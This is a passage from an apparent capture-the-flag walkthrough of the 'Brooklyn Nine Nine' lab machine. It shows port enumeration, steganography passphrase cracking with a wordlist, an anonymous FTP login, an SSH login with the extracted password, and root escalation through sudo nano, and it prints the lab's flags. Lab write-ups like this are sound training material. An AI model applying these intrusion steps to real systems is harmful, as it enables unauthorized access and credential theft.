conducting the port scan, we discovered that three ports are open: 21, 22, and 80. Additionally, we found that anonymous FTP login is permitted.</p><h3><strong>Port 80-HTTP</strong></h3><p>When encountering open ports for HTTP or HTTPS services, the first step is to navigate to the corresponding website using the IP address and port number. Once on the website, it’s important to view the source code to gather more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*l66otE32Oi-16flZ0C4u7A.png" /></figure><p>To access the source code of the website, simply right-click on the webpage and select ‘View page source’ from the context menu.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*3Vwn9WeobQd0RhQdYE6Ctg.png" /></figure><h3>Steganography</h3><p>Steganography involves the technique of concealing data within an ordinary, non-secret file or message to evade detection. In this case, we have a picture as our background. Let’s download it and attempt to extract any hidden data it may contain. Use “steghide” to extract data from a picture.</p><pre>─$ steghide extract -sf brooklyn99.jpg<br>Enter passphrase:</pre><p>We are required to enter a passphrase. Another tool - “stegcracker” helps us in this case.</p><pre>─$ stegcracker brooklyn99.jpg<br>StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)<br>Copyright (c) 2024 - Luke Paris (Paradoxis)<br><br>StegCracker has been retired following the release of StegSeek, which <br>will blast through the rockyou.txt wordlist within 1.9 second as opposed <br>to StegCracker which takes ~5 hours.<br><br>StegSeek can be found at: https://github.com/RickdeJager/stegseek<br><br>No wordlist was specified, using default rockyou.txt wordlist.<br>Counting lines in wordlist..<br>Attacking file &#39;brooklyn99.jpg&#39; with wordlist &#39;/usr/share/wordlists/rockyou.txt&#39;..<br><strong>Successfully cracked file with password: admin</strong><br>Tried 20459 passwords<br>Your file has been written to: brooklyn99.jpg.out<br>admin</pre><p>Again run “steghide” and enter “admin” as a password.</p><pre>└─$ steghide extract -sf brooklyn99.jpg<br>Enter passphrase: <br>wrote extracted data to &quot;note.txt&quot;.</pre><pre>└─$ cat note.txt  <br>Holts Password:<br>fluffydog12@ninenine<br><br>Enjoy!!</pre><p>We got the password for Holt.</p><h3>Port 21 -FTP</h3><p>Given that anonymous FTP login is allowed, we enter ‘Anonymous’ in the Name field. For the password, simply press ‘Enter’ without typing anything. Next, we use the ‘ls’ command to list files and directories. Finally, we read the contents of our file using the ‘more’ command. The result reveals the presence of three users: Amy, Jake, and Holt.</p><pre>└─$ ftp 10.10.142.138 <br>Connected to 10.10.142.138.<br>220 (vsFTPd 3.0.3)<br>Name (10.10.142.138:kali): Anonymous<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||39353|)<br>150 Here comes the directory listing.<br>-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt<br>226 Directory send OK.<br>ftp&gt; more note_to_jake.txt<br>From Amy,<br><br>Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine</pre><h3>Port 22 -SSH</h3><p>Since port 22 is open, we have the option to log in to the ‘holt’ user using SSH.</p><pre>└─$ ssh holt@10.10.142.138                               <br>The authenticity of host &#39;10.10.142.138 (10.10.142.138)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:ceqkN71gGrXeq+J5/dquPWgcPWwTmP2mBdFS2ODPZZU.<br>This host key is known by the following other names/addresses:<br>    ~/.ssh/known_hosts:74: [hashed name]<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.10.142.138&#39; (ED25519) to the list of known hosts.<br>holt@10.10.142.138&#39;s password: <br>Last login: Tue May 26 08:59:00 2020 from 10.10.10.18</pre><h3>User flag</h3><pre>holt@brookly_nine_nine:~$ ls<br>nano.save  user.txt<br>holt@brookly_nine_nine:~$ cat user.txt <br>ee11cbb19052e40b07aac0ca060c23ee</pre><h3>Privilege escalation</h3><p>To retrieve the root flag, we must perform privilege escalation.</p><p>Type “sudo -l” to display the privileges of the &#39;holt&#39; user on the system.</p><pre>holt@brookly_nine_nine:~$ sudo -l<br>Matching Defaults entries for holt on brookly_nine_nine:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User holt may run the following commands on brookly_nine_nine:<br>    (ALL) NOPASSWD: /bin/nano</pre><p>Holt can execute the ‘nano’ command with root privileges without requiring a password. To leverage this privilege, we navigate to <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> and search for ‘nano’. From the results, we select the entry for ‘sudo’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PGfjuhk9FlfEBjoLba35w.png" /></figure><p>Execute the same steps on your shell to gain root access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*umF9N_L3mD21hY7HEuHAzw.png" /></figure><p>And we are root ;)</p><h3>Root flag</h3><pre>root@brookly_nine_nine:~# cd /root<br>root@brookly_nine_nine:/root# ls<br>root.txt<br>root@brookly_nine_nine:/root# cat root.txt <br>-- Creator : Fsociety2006 --<br>Congratulations in rooting Brooklyn Nine Nine<br>Here is the flag: 63a9f0ea7bb98050796b649e85481845<br><br>Enjoy!!</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13d8bc6c71c3" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>